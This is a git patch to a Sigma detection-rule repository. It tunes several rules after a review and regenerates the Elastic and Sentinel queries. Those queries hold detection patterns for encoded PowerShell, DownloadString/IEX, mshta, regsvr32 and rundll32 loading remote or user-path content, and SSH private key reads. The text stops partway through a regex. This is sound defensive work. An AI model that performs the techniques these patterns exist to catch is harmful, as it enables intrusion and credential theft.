From 51be3d7af600a8ed730794df775c644dcc5f578d Mon Sep 17 00:00:00 2001 From: Garrett Allen <98648590+Gerrrt@users.noreply.github.com> Date: Wed, 14 Oct 2026 17:17:12 +0000 Subject: [PATCH 1/3] =?UTF-8?q?fix(sigma):=20act=20on=20the=20#351=20detec?= =?UTF-8?q?tion=20review=20=E2=80=94=20/identity=20anchored,=20three=20fil?= =?UTF-8?q?ter=5Fci=20stubs,=204698=20LOLBins=20gated=20(#351)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The weekly review found no coverage holes and ten scoping calls. Each was checked against the rule body, the gates and the fixtures. Seven adopted, two documented as stated blind spots, four sub-proposals declined in the rule bodies so they are not re-proposed next cycle. What each change would have missed, or stops missing: - linux/ssh_private_key_read: `name|contains: '/identity'` matched every read under a directory named identity* (~/identity-service/config.yml) - a standing FP stream on a high rule. Now '/.ssh/identity'. The TN fixture gains that exact near-miss, which the old value fired on. - cloudflare/cloudflare_api_token_created, terraform/tfc_token_backdoor, gitlab/gitlab_token_backdoor: bare `condition: selection` while every folder sibling carried a DEPLOY-REQUIRED filter_ci, on actions the IaC provider performs on every apply. Each gets the sibling's stub, a _ci_suppressed manifest row and a README deploy-time row. aws_login_profile_created declined in-rule (actor != target is the triage criterion; medium is a triage surface). - cloud/entra_illicit_consent_grant: comment + falsepositives record that the unanchored TargetResources allowlist hides a grant to a different app whenever a sanctioned id appears anywhere in the event, and name the Sentinel paths to anchor on. - lateral_movement/rdp_hijack_tscon_4688: declined, reworded. The review read the arms the other way round - the /dest: arm is channel-independent and deliberately not Image-pinned; the Sysmon-only arm is the no-/dest interactive form. - persistence/scheduled_task_suspicious_4698: \regsvr32.exe and \rundll32.exe fired at high as bare substrings. They now require a co-occurring attacker-controlled target (URL/scriptlet, UNC, user-writable dir); mshta stays bare. Two traps written into the block: a bare 'http' matches the root of every real 4698 and would have collapsed the AND (synthetic fixtures omit the root; the new TN carries it), and a UNC prefix is '\\\\' because \ is Sigma's escape. Neither LOLBin had a fixture before; three TPs and two TNs added. - lateral_movement/passthehash_4624_fanout: filter_machine stated as a coverage decision (captured machine-account hash reuse never reaches the count) and why Sigma cannot narrow it. - impact/service_stop_burst: ' stop' -> ' stop ' on the net/sc arms (the anchor the protected-services sibling uses); a bare ' stop' also matched ' stopped' and padded the distinct-CommandLine burst. Cmdlet anchoring declined in-rule (piped `| Stop-Service` has no trailing target). Precedence allowlist row re-traced. - impact/account_access_removal_4725: declined in-rule - 4724 pooled on purpose; the bulk forced reset that trips it is filter_identity_admins' job. - registry/harbor_image_pushed_trusted_tag: retitled "Harbor artifact push or tag create (supply-chain triage surface)" to match the logic. File name and pairing unchanged. - google_workspace/gws_external_mail_forwarding: verified against the Reports API appendix; service: user_accounts is correct. Recorded in a logsource comment. Ledger: 124 rules, 0 added. coverage-layer.json, COVERAGE.md and HTPX-COVERAGE.md unchanged; all three SIEM forms regenerated. Checks run locally: sigma check, make drift, make methodology, make validation-gates, make test, make attack-tags, make htpx, run-cloud-validation (47/47), run-sigma-validation 123/123 (zircolite v3.7.6, with pysigma-backend-sqlite pinned to 2.0.0 locally because the committed constraints file does not resolve since #354 - a pre-existing red gate, not touched here). The three new 4698 TPs and two TNs were also run one event at a time: all three fire, both stay silent, and the rooted TN fires the moment '>http' is loosened to 'http'. make markdown skipped - no npx on this host; the README rows are padded to the header widths by hand. Closes #351 Co-Authored-By: Claude Fable 5.1 --- CHANGELOG.md | 69 ++++++++++++++++ detections/README.md | 5 +- .../siem/elastic/rules.generated.lucene | 12 +-- detections/siem/sentinel/rules.generated.kql | 12 +-- .../siem/splunk-precedence-allowlist.tsv | 2 +- .../siem/splunk/savedsearches.generated.conf | 79 ++++++++++++++++--- .../sigma/cloud/aws_login_profile_created.yml | 6 ++ .../cloud/entra_illicit_consent_grant.yml | 13 +++ .../cloudflare_api_token_created.yml | 18 ++++- .../sigma/gitlab/gitlab_token_backdoor.yml | 23 +++++- .../gws_external_mail_forwarding.yml | 7 ++ .../impact/account_access_removal_4725.yml | 7 ++ .../sigma/impact/service_stop_burst.yml | 16 +++- .../passthehash_4624_fanout.yml | 9 ++- .../rdp_hijack_tscon_4688.yml | 23 ++++-- .../sigma/linux/ssh_private_key_read.yml | 9 ++- .../scheduled_task_suspicious_4698.yml | 53 +++++++++++-- .../harbor_image_pushed_trusted_tag.yml | 9 ++- .../sigma/terraform/tfc_token_backdoor.yml | 17 +++- docker/validation/fixture-provenance.tsv | 9 ++- docker/validation/sigma-cloud-manifest.tsv | 3 + .../cloudflare_api_token_created_ci_tn.jsonl | 1 + .../cloud/gitlab_token_backdoor_ci_tn.jsonl | 1 + .../cloud/tfc_token_backdoor_ci_tn.jsonl | 1 + .../linux_ssh_key_read_tn.jsonl | 1 + .../sigma-fixtures/scheduled_task_4698.jsonl | 3 + .../scheduled_task_4698_tn.jsonl | 2 + 27 files changed, 359 insertions(+), 51 deletions(-) create mode 100644 docker/validation/sigma-fixtures/cloud/cloudflare_api_token_created_ci_tn.jsonl create mode 100644 docker/validation/sigma-fixtures/cloud/gitlab_token_backdoor_ci_tn.jsonl create mode 100644 docker/validation/sigma-fixtures/cloud/tfc_token_backdoor_ci_tn.jsonl diff --git a/CHANGELOG.md b/CHANGELOG.md index 1601108d..459457e2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -24,6 +24,75 @@ under `[Unreleased]` from here. ### Fixed +- **Weekly detection review #351: `/identity` anchored, three token-creation rules get + `filter_ci`, 4698 LOLBins gated, `' stop '` aligned, Harbor retitled; four proposals + declined in the rules (#351).** The review found no coverage holes and ten scoping + calls. Each was checked against the rule body, the gates and the fixtures before being + adopted or declined; a decline that lives only in a closed issue gets re-proposed next + cycle, so every decline below is recorded in the rule it concerns. + - `linux/ssh_private_key_read`: `name|contains: '/identity'` matched every read under a + directory whose name begins `identity` (`~/identity-service/config.yml`), a standing + false-positive stream on a `high` rule. It is now `'/.ssh/identity'`, the only path the + SSHv1 key ever has. The true-negative fixture gains that exact near-miss, which the old + value fired on. + - `cloudflare/cloudflare_api_token_created`, `terraform/tfc_token_backdoor`, + `gitlab/gitlab_token_backdoor`: each shipped `condition: selection` while its folder + siblings carried a `DEPLOY-REQUIRED` `filter_ci`, and each selects an action the IaC + provider performs on every apply (`cloudflare_api_token`, `tfe_team_token`, + `gitlab_personal_access_token`). Each now carries the sibling's stub on the sibling's + actor field (GitLab, first in its folder, on the streamed event's top-level + `author_name`, with `author_id` named as the stricter form), a `_ci_suppressed` + manifest row proving the stub suppresses, and a deploy-time README row. + `cloud/aws_login_profile_created` is declined in-rule: actor ≠ target is the triage + criterion, `medium` is a triage surface, and an automation minting console passwords + is itself worth seeing. + - `cloud/entra_illicit_consent_grant`: the `filter_known_apps` comment and + `falsepositives` now say that an unanchored `TargetResources|contains` allowlist hides + a grant to a different app whenever a sanctioned id appears anywhere in the event, and + name the two Sentinel paths to anchor on (`TargetResources[0].id` is the SP object id; + the app id sits in `TargetId.ServicePrincipalNames`). Comment-only; nothing compiled + changes. + - `lateral_movement/rdp_hijack_tscon_4688`: declined, and the description now says which + arm sees which channel. The review read the arms the other way round: the `/dest:` + `selection` arm is deliberately not Image-pinned (the sc-create and `cmd /c` wrappers + carry the string in their own command lines) and reads a field both channels carry, so + the SYSTEM-via-service variant is covered on 4688 and Sysmon alike; the Sysmon-only + `as_system` arm is the no-`/dest` interactive form, as its comment already said. + `mstsc /shadow` is named as a different technique, out of scope. + - `persistence/scheduled_task_suspicious_4698`: `\regsvr32.exe` and `\rundll32.exe` fired + at `high` as bare substrings while the same rule had removed `\Users\` and `\Temp\` for + being too common. They now require a co-occurring attacker-controlled target (URL or + scriptlet, UNC path, user-writable directory); `mshta` stays bare. Two traps found on + the way and written into the block: a bare `http` matches the `` + root of every real 4698 and would have collapsed the AND (the synthetic fixtures omit + the root, so no gate saw it — the new TN carries it), and a UNC prefix is `'\\\\'` + because `\` is Sigma's escape. Neither LOLBin had a fixture before; three TPs and two + TNs are added. + - `lateral_movement/passthehash_4624_fanout`: `filter_machine` is a coverage decision, + not only a noise filter — reuse of a captured machine-account hash never reaches the + count. Stated in the base rule with why Sigma cannot narrow it (no field-to-field + compare of `TargetUserName` against the source host). + - `impact/service_stop_burst`: `' stop'` → `' stop '` on the net and sc arms, the anchor + `service_stop_protected_services` already used; a bare `' stop'` also matched + `' stopped'` and padded the distinct-CommandLine burst. Cmdlet-arm anchoring is declined + in the rule: a piped `| Stop-Service` carries no trailing target. The precedence + allowlist row is re-traced. + - `impact/account_access_removal_4725`: declined in-rule. 4724 is pooled with 4725/4726 + because resetting a responder's password locks them out as surely as disabling them; + the org-wide forced reset that trips the pool is what `filter_identity_admins` exists + to name, and a lower-priority 4724 arm would hide the attacker who only resets. + - `registry/harbor_image_pushed_trusted_tag`: retitled *Harbor artifact push or tag + create (supply-chain triage surface)* to match the logic (every push and tag create + minus the CI robot). A protected-repo selector is declined in-rule: a selection-side + list is inert until filled, the opposite failure from a noisy filter. File name, + manifests and htpx pairing are unchanged. + - `google_workspace/gws_external_mail_forwarding`: verified, no change to logic. Google's + Reports API appendix lists `email_forwarding_out_of_domain` under both `user_accounts` + and `login`; exporter samples carry `user_accounts`, which is what is declared. Recorded + in a logsource comment with the appendix as a reference. + - Ledger: 124 rules, 0 added, 0 removed. `coverage-layer.json` and `COVERAGE.md` are + unchanged (no tag or count moved); all three SIEM forms regenerate (descriptions and + the Harbor stanza title are embedded). - **`github_credential_backdoor` now also selects `personal_access_token.request_created` (#348).** This follows htpx's `gh-cred-audit` (htpx#139). GitHub logs the request only in orgs that require approval for diff --git a/detections/README.md b/detections/README.md index 5a10d070..d4c54970 100644 --- a/detections/README.md +++ b/detections/README.md @@ -632,7 +632,7 @@ comment isn't enforcement, so this is the discoverable checklist instead.) | `defense_impairment/dcshadow_rogue_dc_4742` | `filter_real_dcs` → your real DC computer accounts | a `GC/` SPN write onto another real DC would alert (low risk — rare regardless) | | `credential_access/dcsync_non_dc_machine_account_4662` | `filter_real_dcs` → every DC / RODC computer account | routine DC-to-DC replication alerts at high on every DC not listed | | `lateral_movement/unconstrained_delegation_4624` | `TargetUserName` → your DC computer accounts, **and** `filter_dc_destinations` → those DCs' exact FQDNs | **inert** — the rule matches only the `DC1$`/`DC2$` examples, so a coerced logon from any other DC is missed entirely. This is the one placeholder that makes its rule a no-op rather than merely noisy; fill it first. | -| `cloud/entra_illicit_consent_grant` | `filter_known_apps` → sanctioned app (client) IDs | verified LOB apps holding mail/file scopes alert (the high-risk-scope match still scopes it) | +| `cloud/entra_illicit_consent_grant` | `filter_known_apps` → sanctioned app (client) IDs | verified LOB apps holding mail/file scopes alert (the high-risk-scope match still scopes it); anchor the allowlist to the consented app at the backend — a sanctioned id named anywhere in the event hides a grant to a different app | | `snowflake/snowflake_data_unload` | `filter_known_stages` → sanctioned stages / buckets, fully qualified, two per stage: `COPY INTO @DB.SCH.STG/` + root form | a named *internal* stage (not `@%`/`@~`) alerts alongside external ones | | `collection/mass_file_read_4663` | `filter_indexers` → your backup / AV / indexing / sync agents, as **full paths** | **the loudest unfilled placeholder in the repo.** Reads are constant, so an unfilled list means the nightly backup trips it, someone mutes the rule, and the mute is the blind spot. Fill before deploying, not after. | | `collection/archive_staging_utility` | `filter_backup_tooling` → your backup / packaging / build tooling | the staging-path half alerts on CI and installer builds that archive into `%TEMP%`; the password-protected half is unaffected and stays high-confidence | @@ -647,7 +647,10 @@ comment isn't enforcement, so this is the discoverable checklist instead.) | `cloud/aws_data_destruction` | `filter_iac` → your IaC / automation principal(s) | a `terraform destroy` of an ephemeral environment and a scheduled snapshot-retention job both look exactly like the attack from CloudTrail alone | | `impact/account_access_removal_4725` | `filter_identity_admins` → your help-desk / JML / IAM provisioning principals | bulk offboarding alerts. This list is what makes the rule *sharp*, not merely quiet — the signal is an actor who does **not** normally administer identity | | `cloudflare/cloudflare_waf_rule_disabled` | `filter_ci` → the IaC pipeline's Cloudflare identity | every pipeline-driven edge change is a `high` alert — including the ones that *tighten* the WAF, since `ruleset/update` is the event for any ruleset change | +| `cloudflare/cloudflare_api_token_created` | `filter_ci` → the IaC pipeline's Cloudflare identity | Terraform's `cloudflare_api_token` resource mints a token on every apply that touches it, so every pipeline run is a `high` alert; both Cloudflare siblings already carried this stub | | `terraform/tfc_variable_injection` | `filter_ci` → the pipeline actor in `auth.description` | fires on every pipeline variable write, among the highest-volume events TFC emits — the rule's own description calls most of them benign CI | +| `terraform/tfc_token_backdoor` | `filter_ci` → the pipeline actor in `auth.description` | `tfe_team_token` / `tfe_organization_token` mint a token on every apply that rotates one, so every pipeline run alerts; same stub as `tfc_variable_injection` | +| `gitlab/gitlab_token_backdoor` | `filter_ci` → your automation's top-level `author_name` (`author_id` is the stricter, immutable form) | the GitLab provider's token resources mint one on every apply that rotates it, so every pipeline run alerts; `author_name` is a mutable display name, so an actor renamed to match the bot is suppressed | | `registry/harbor_artifact_deleted` | `filter_gc` → your retention / garbage-collection account | routine retention pruning alerts alongside the anti-forensics delete the rule is for | | `persistence/machine_account_creation_burst_4741` | `filter_provisioning` → your domain-join / imaging / MDM principals | an imaging run clears the correlation's 3-in-30m threshold on its own, so the burst rule pages on routine provisioning | | `linux/cron_persistence` | `filter_provisioning` → your compiled package manager + CM binaries, as exact `exe` paths | every package install and CM converge that touches a cron path alerts | diff --git a/detections/siem/elastic/rules.generated.lucene b/detections/siem/elastic/rules.generated.lucene index 1da4faee..84520469 100644 --- a/detections/siem/elastic/rules.generated.lucene +++ b/detections/siem/elastic/rules.generated.lucene @@ -52,7 +52,7 @@ eventSource:iam.amazonaws.com AND (eventName:(CreateLoginProfile OR UpdateLoginP (gcp.audit.method_name:(google.iam.admin.v1.CreateServiceAccountKey OR google.iam.admin.v1.UploadServiceAccountKey)) AND (NOT gcp.audit.principal_email:iam\-terraform@example.iam.gserviceaccount.com) // cloudflare/cloudflare_api_token_created.yml — Cloudflare API token created (durable control-plane backdoor) -resource.type:api_token AND action.type:create +(resource.type:api_token AND action.type:create) AND (NOT actor.email:ci\-deploy@example.com) // cloudflare/cloudflare_waf_rule_disabled.yml — Cloudflare WAF/firewall rule deleted or disabled (edge exposed) ((resource.type:(firewall_rule OR ruleset)) AND (action.type:(delete OR update))) AND (NOT actor.email:ci\-deploy@example.com) @@ -163,7 +163,7 @@ event_type:protected_branch_removed event_type:set_runner_associated_projects // gitlab/gitlab_token_backdoor.yml — GitLab access/deploy token created (durable-access backdoor) -event_type:(project_access_token_created OR group_access_token_created OR personal_access_token_created OR deploy_token_created OR group_deploy_token_created) +(event_type:(project_access_token_created OR group_access_token_created OR personal_access_token_created OR deploy_token_created OR group_deploy_token_created)) AND (NOT author_name:ci\-bot) // google_workspace/gws_admin_role_grant.yml — Google Workspace admin/super-admin role granted (tenant persistence) eventName:(GRANT_ADMIN_PRIVILEGE OR GRANT_DELEGATED_ADMIN_PRIVILEGES OR ASSIGN_ROLE) @@ -253,7 +253,7 @@ key:shadow_read AND (NOT (exe:(\/usr\/sbin\/unix_chkpwd OR \/sbin\/unix_chkpwd O (key:ssh_authkeys AND name:*authorized_keys*) AND (NOT exe:\/opt\/keymgr\/bin\/keyagent) // linux/ssh_private_key_read.yml — SSH private key read by a non-SSH process (auditd) -(key:ssh_key_read AND (name:(*\/id_rsa* OR *\/id_ecdsa* OR *\/id_ed25519* OR *\/id_dsa* OR *\/identity*))) AND (NOT ((exe:(\/usr\/bin\/ssh OR \/usr\/sbin\/sshd OR \/usr\/bin\/ssh\-agent OR \/usr\/bin\/ssh\-keygen OR \/usr\/bin\/ssh\-add OR \/usr\/bin\/scp OR \/usr\/bin\/sftp OR \/usr\/bin\/git)) OR name:*.pub)) +(key:ssh_key_read AND (name:(*\/id_rsa* OR *\/id_ecdsa* OR *\/id_ed25519* OR *\/id_dsa* OR *\/.ssh\/identity*))) AND (NOT ((exe:(\/usr\/bin\/ssh OR \/usr\/sbin\/sshd OR \/usr\/bin\/ssh\-agent OR \/usr\/bin\/ssh\-keygen OR \/usr\/bin\/ssh\-add OR \/usr\/bin\/scp OR \/usr\/bin\/sftp OR \/usr\/bin\/git)) OR name:*.pub)) // linux/sudo_root_shell.yml — Root shell spawned under a real login uid - sudo escape (auditd) (key:sudo_abuse AND (comm:(bash OR sh OR dash OR zsh OR ksh OR fish OR python OR python3 OR perl OR ruby))) AND (NOT auid:1000) @@ -292,7 +292,7 @@ eventType:(user.mfa.factor.reset_all OR user.mfa.factor.deactivate OR user.mfa.f EventID:4720 AND (NOT SubjectUserName:svc_iam_provisioning) // persistence/scheduled_task_suspicious_4698.yml — Scheduled task created with a suspicious action -EventID:4698 AND ((TaskContent:(*\-enc\ * OR *\-EncodedCommand* OR *\-w\ hidden* OR *\-WindowStyle\ Hidden* OR *FromBase64String* OR *mshta* OR *\\regsvr32.exe* OR *\\rundll32.exe* OR *DownloadString* OR *IEX\(* OR *IEX\ * OR *\|\ IEX*)) OR ((TaskContent:(*powershell* OR *pwsh*)) AND (TaskContent:/(?i)((^|[\s>"';(,=^])(-|\/|–|—|―)(\^|"|")*((-|\/|–|—|―)(\^|"|")*)?e((\^|"|")*c|(\^|"|")*n((\^|"|")*c((\^|"|")*o((\^|"|")*d((\^|"|")*e((\^|"|")*d((\^|"|")*c((\^|"|")*o((\^|"|")*m((\^|"|")*m((\^|"|")*a((\^|"|")*n((\^|"|")*d)?)?)?)?)?)?)?)?)?)?)?)?)?("|'|["'^])*(\s|&#x?9;)+((("|'|["'^])*[A-Za-z0-9+\/]){20}|("|")((\s|("|'|["'^]))*[A-Za-z0-9+\/]){20})|(^|[\s>"';(,=^])(-|–|—|―)(\^|"|")*((-|–|—|―)(\^|"|")*)?e((\^|"|")*c|(\^|"|")*n((\^|"|")*c((\^|"|")*o((\^|"|")*d((\^|"|")*e((\^|"|")*d((\^|"|")*c((\^|"|")*o((\^|"|")*m((\^|"|")*m((\^|"|")*a((\^|"|")*n((\^|"|")*d)?)?)?)?)?)?)?)?)?)?)?)?)?("|'|["'^])*(\s|&#x?9;)+("|'|["'^])*[%!$]|(^|[\s>"';(,=^])\/(\^|"|")*e((\^|"|")*c|(\^|"|")*n((\^|"|")*c((\^|"|")*o((\^|"|")*d((\^|"|")*e((\^|"|")*d((\^|"|")*c((\^|"|")*o((\^|"|")*m((\^|"|")*m((\^|"|")*a((\^|"|")*n((\^|"|")*d)?)?)?)?)?)?)?)?)?)?)?)?)("|'|["'^])*(\s|&#x?9;)+("|'|["'^])*[%!$])/ OR (TaskContent:(*\-w\ 1* OR *\-win\ h*)))) OR (TaskContent:*\cmd.exe\<\/Command\>* AND TaskContent:*\/C\ * AND TaskContent:*\\Temp\\* AND TaskContent:*.tmp\ 2\>\&1*)) +EventID:4698 AND ((TaskContent:(*\-enc\ * OR *\-EncodedCommand* OR *\-w\ hidden* OR *\-WindowStyle\ Hidden* OR *FromBase64String* OR *mshta* OR *DownloadString* OR *IEX\(* OR *IEX\ * OR *\|\ IEX*)) OR ((TaskContent:(*\\regsvr32.exe* OR *\\rundll32.exe* OR *\regsvr32* OR *\rundll32*)) AND (TaskContent:(*\>http* OR *\ http* OR *\"http* OR *\'http* OR *\\\\* OR *javascript\:* OR *vbscript\:* OR *\/i\:* OR *\\Users\\* OR *\\Temp\\* OR *\\ProgramData\\* OR *%APPDATA%* OR *%TEMP%* OR *%PUBLIC%*))) OR ((TaskContent:(*powershell* OR *pwsh*)) AND (TaskContent:/(?i)((^|[\s>"';(,=^])(-|\/|–|—|―)(\^|"|")*((-|\/|–|—|―)(\^|"|")*)?e((\^|"|")*c|(\^|"|")*n((\^|"|")*c((\^|"|")*o((\^|"|")*d((\^|"|")*e((\^|"|")*d((\^|"|")*c((\^|"|")*o((\^|"|")*m((\^|"|")*m((\^|"|")*a((\^|"|")*n((\^|"|")*d)?)?)?)?)?)?)?)?)?)?)?)?)?("|'|["'^])*(\s|&#x?9;)+((("|'|["'^])*[A-Za-z0-9+\/]){20}|("|")((\s|("|'|["'^]))*[A-Za-z0-9+\/]){20})|(^|[\s>"';(,=^])(-|–|—|―)(\^|"|")*((-|–|—|―)(\^|"|")*)?e((\^|"|")*c|(\^|"|")*n((\^|"|")*c((\^|"|")*o((\^|"|")*d((\^|"|")*e((\^|"|")*d((\^|"|")*c((\^|"|")*o((\^|"|")*m((\^|"|")*m((\^|"|")*a((\^|"|")*n((\^|"|")*d)?)?)?)?)?)?)?)?)?)?)?)?)?("|'|["'^])*(\s|&#x?9;)+("|'|["'^])*[%!$]|(^|[\s>"';(,=^])\/(\^|"|")*e((\^|"|")*c|(\^|"|")*n((\^|"|")*c((\^|"|")*o((\^|"|")*d((\^|"|")*e((\^|"|")*d((\^|"|")*c((\^|"|")*o((\^|"|")*m((\^|"|")*m((\^|"|")*a((\^|"|")*n((\^|"|")*d)?)?)?)?)?)?)?)?)?)?)?)?)("|'|["'^])*(\s|&#x?9;)+("|'|["'^])*[%!$])/ OR (TaskContent:(*\-w\ 1* OR *\-win\ h*)))) OR (TaskContent:*\cmd.exe\<\/Command\>* AND TaskContent:*\/C\ * AND TaskContent:*\\Temp\\* AND TaskContent:*.tmp\ 2\>\&1*)) // persistence/wmi_event_subscription_consumer.yml — WMI event subscription persistence - command-line or script consumer Operation:Created AND ((EventID:20 AND (Destination:(*powershell* OR *pwsh* OR *cmd.exe* OR *mshta* OR *wscript* OR *cscript* OR *rundll32* OR *\-enc\ * OR *\-ec\ * OR *\-EncodedCommand* OR *FromBase64String*))) OR (EventID:20 AND Type:*Script*) OR (EventID:20 AND Type:*Command\ Line*)) AND (NOT Destination:C\:\\Program\ Files\\Monitoring\\agent.exe*) @@ -336,7 +336,7 @@ tag:(project\:oidc\:publisher\-added OR organization\:oidc\:publisher\-added) // registry/harbor_artifact_deleted.yml — Harbor artifact deleted (force re-pull / anti-forensics) (operation:delete AND (resource_type:(artifact OR repository))) AND (NOT username:robot$harbor\-gc) -// registry/harbor_image_pushed_trusted_tag.yml — Harbor image push (backdoored image / trusted-tag poisoning) +// registry/harbor_image_pushed_trusted_tag.yml — Harbor artifact push or tag create (supply-chain triage surface) (operation:create AND (resource_type:(artifact OR tag))) AND (NOT username:robot$ci\-pipeline) // registry/harbor_robot_account_created.yml — Harbor robot account created (durable registry credential) @@ -364,7 +364,7 @@ query_type:CREATE_USER OR (query_type:GRANT AND (query_text:(*ACCOUNTADMIN* OR * resource.type:agent_pool AND resource.action:create // terraform/tfc_token_backdoor.yml — Terraform Cloud org/team API token created (durable-access backdoor) -resource.type:authentication_token AND resource.action:create +(resource.type:authentication_token AND resource.action:create) AND (NOT auth.description:ci\-deploy@example.com) // terraform/tfc_variable_injection.yml — Terraform Cloud workspace variable created or updated (run hijack) (resource.type:variable AND (resource.action:(create OR update))) AND (NOT auth.description:ci\-deploy@example.com) diff --git a/detections/siem/sentinel/rules.generated.kql b/detections/siem/sentinel/rules.generated.kql index 749c5887..0c6891f9 100644 --- a/detections/siem/sentinel/rules.generated.kql +++ b/detections/siem/sentinel/rules.generated.kql @@ -52,7 +52,7 @@ eventSource =~ "iam.amazonaws.com" and (eventName in~ ("CreateLoginProfile", "Up (['gcp.audit.method_name'] in~ ("google.iam.admin.v1.CreateServiceAccountKey", "google.iam.admin.v1.UploadServiceAccountKey")) and (not(['gcp.audit.principal_email'] =~ "iam-terraform@example.iam.gserviceaccount.com")) // cloudflare/cloudflare_api_token_created.yml — Cloudflare API token created (durable control-plane backdoor) -['resource.type'] =~ "api_token" and ['action.type'] =~ "create" +(['resource.type'] =~ "api_token" and ['action.type'] =~ "create") and (not(['actor.email'] =~ "ci-deploy@example.com")) // cloudflare/cloudflare_waf_rule_disabled.yml — Cloudflare WAF/firewall rule deleted or disabled (edge exposed) ((['resource.type'] in~ ("firewall_rule", "ruleset")) and (['action.type'] in~ ("delete", "update"))) and (not(['actor.email'] =~ "ci-deploy@example.com")) @@ -163,7 +163,7 @@ event_type =~ "protected_branch_removed" event_type =~ "set_runner_associated_projects" // gitlab/gitlab_token_backdoor.yml — GitLab access/deploy token created (durable-access backdoor) -event_type in~ ("project_access_token_created", "group_access_token_created", "personal_access_token_created", "deploy_token_created", "group_deploy_token_created") +(event_type in~ ("project_access_token_created", "group_access_token_created", "personal_access_token_created", "deploy_token_created", "group_deploy_token_created")) and (not(author_name =~ "ci-bot")) // google_workspace/gws_admin_role_grant.yml — Google Workspace admin/super-admin role granted (tenant persistence) eventName in~ ("GRANT_ADMIN_PRIVILEGE", "GRANT_DELEGATED_ADMIN_PRIVILEGES", "ASSIGN_ROLE") @@ -253,7 +253,7 @@ key =~ "shadow_read" and (not((exe in~ ("/usr/sbin/unix_chkpwd", "/sbin/unix_chk (key =~ "ssh_authkeys" and name contains "authorized_keys") and (not(exe =~ "/opt/keymgr/bin/keyagent")) // linux/ssh_private_key_read.yml — SSH private key read by a non-SSH process (auditd) -(key =~ "ssh_key_read" and (name contains "/id_rsa" or name contains "/id_ecdsa" or name contains "/id_ed25519" or name contains "/id_dsa" or name contains "/identity")) and (not(((exe in~ ("/usr/bin/ssh", "/usr/sbin/sshd", "/usr/bin/ssh-agent", "/usr/bin/ssh-keygen", "/usr/bin/ssh-add", "/usr/bin/scp", "/usr/bin/sftp", "/usr/bin/git")) or name endswith ".pub"))) +(key =~ "ssh_key_read" and (name contains "/id_rsa" or name contains "/id_ecdsa" or name contains "/id_ed25519" or name contains "/id_dsa" or name contains "/.ssh/identity")) and (not(((exe in~ ("/usr/bin/ssh", "/usr/sbin/sshd", "/usr/bin/ssh-agent", "/usr/bin/ssh-keygen", "/usr/bin/ssh-add", "/usr/bin/scp", "/usr/bin/sftp", "/usr/bin/git")) or name endswith ".pub"))) // linux/sudo_root_shell.yml — Root shell spawned under a real login uid - sudo escape (auditd) (key =~ "sudo_abuse" and (comm in~ ("bash", "sh", "dash", "zsh", "ksh", "fish", "python", "python3", "perl", "ruby"))) and (not(auid == 1000)) @@ -292,7 +292,7 @@ eventType in~ ("user.mfa.factor.reset_all", "user.mfa.factor.deactivate", "user. EventID == 4720 and (not(SubjectUserName =~ "svc_iam_provisioning")) // persistence/scheduled_task_suspicious_4698.yml — Scheduled task created with a suspicious action -EventID == 4698 and ((TaskContent contains "-enc " or TaskContent contains "-EncodedCommand" or TaskContent contains "-w hidden" or TaskContent contains "-WindowStyle Hidden" or TaskContent contains "FromBase64String" or TaskContent contains "mshta" or TaskContent contains "\\regsvr32.exe" or TaskContent contains "\\rundll32.exe" or TaskContent contains "DownloadString" or TaskContent contains "IEX(" or TaskContent contains "IEX " or TaskContent contains "| IEX") or ((TaskContent contains "powershell" or TaskContent contains "pwsh") and (TaskContent matches regex "(?i)((^|[\\s>\"';(,=^])(-|/|–|—|―)(\\^|\"|")*((-|/|–|—|―)(\\^|\"|")*)?e((\\^|\"|")*c|(\\^|\"|")*n((\\^|\"|")*c((\\^|\"|")*o((\\^|\"|")*d((\\^|\"|")*e((\\^|\"|")*d((\\^|\"|")*c((\\^|\"|")*o((\\^|\"|")*m((\\^|\"|")*m((\\^|\"|")*a((\\^|\"|")*n((\\^|\"|")*d)?)?)?)?)?)?)?)?)?)?)?)?)?("|'|[\"'^])*(\\s|&#x?9;)+((("|'|[\"'^])*[A-Za-z0-9+/]){20}|("|\")((\\s|("|'|[\"'^]))*[A-Za-z0-9+/]){20})|(^|[\\s>\"';(,=^])(-|–|—|―)(\\^|\"|")*((-|–|—|―)(\\^|\"|")*)?e((\\^|\"|")*c|(\\^|\"|")*n((\\^|\"|")*c((\\^|\"|")*o((\\^|\"|")*d((\\^|\"|")*e((\\^|\"|")*d((\\^|\"|")*c((\\^|\"|")*o((\\^|\"|")*m((\\^|\"|")*m((\\^|\"|")*a((\\^|\"|")*n((\\^|\"|")*d)?)?)?)?)?)?)?)?)?)?)?)?)?("|'|[\"'^])*(\\s|&#x?9;)+("|'|[\"'^])*[%!$]|(^|[\\s>\"';(,=^])/(\\^|\"|")*e((\\^|\"|")*c|(\\^|\"|")*n((\\^|\"|")*c((\\^|\"|")*o((\\^|\"|")*d((\\^|\"|")*e((\\^|\"|")*d((\\^|\"|")*c((\\^|\"|")*o((\\^|\"|")*m((\\^|\"|")*m((\\^|\"|")*a((\\^|\"|")*n((\\^|\"|")*d)?)?)?)?)?)?)?)?)?)?)?)?)("|'|[\"'^])*(\\s|&#x?9;)+("|'|[\"'^])*[%!$])" or (TaskContent contains "-w 1" or TaskContent contains "-win h"))) or (TaskContent contains "cmd.exe" and TaskContent contains "/C " and TaskContent contains "\\Temp\\" and TaskContent contains ".tmp 2>&1")) +EventID == 4698 and ((TaskContent contains "-enc " or TaskContent contains "-EncodedCommand" or TaskContent contains "-w hidden" or TaskContent contains "-WindowStyle Hidden" or TaskContent contains "FromBase64String" or TaskContent contains "mshta" or TaskContent contains "DownloadString" or TaskContent contains "IEX(" or TaskContent contains "IEX " or TaskContent contains "| IEX") or ((TaskContent contains "\\regsvr32.exe" or TaskContent contains "\\rundll32.exe" or TaskContent contains "regsvr32" or TaskContent contains "rundll32") and (TaskContent contains ">http" or TaskContent contains " http" or TaskContent contains ""http" or TaskContent contains "'http" or TaskContent contains "\\\\" or TaskContent contains "javascript:" or TaskContent contains "vbscript:" or TaskContent contains "/i:" or TaskContent contains "\\Users\\" or TaskContent contains "\\Temp\\" or TaskContent contains "\\ProgramData\\" or TaskContent contains "%APPDATA%" or TaskContent contains "%TEMP%" or TaskContent contains "%PUBLIC%")) or ((TaskContent contains "powershell" or TaskContent contains "pwsh") and (TaskContent matches regex 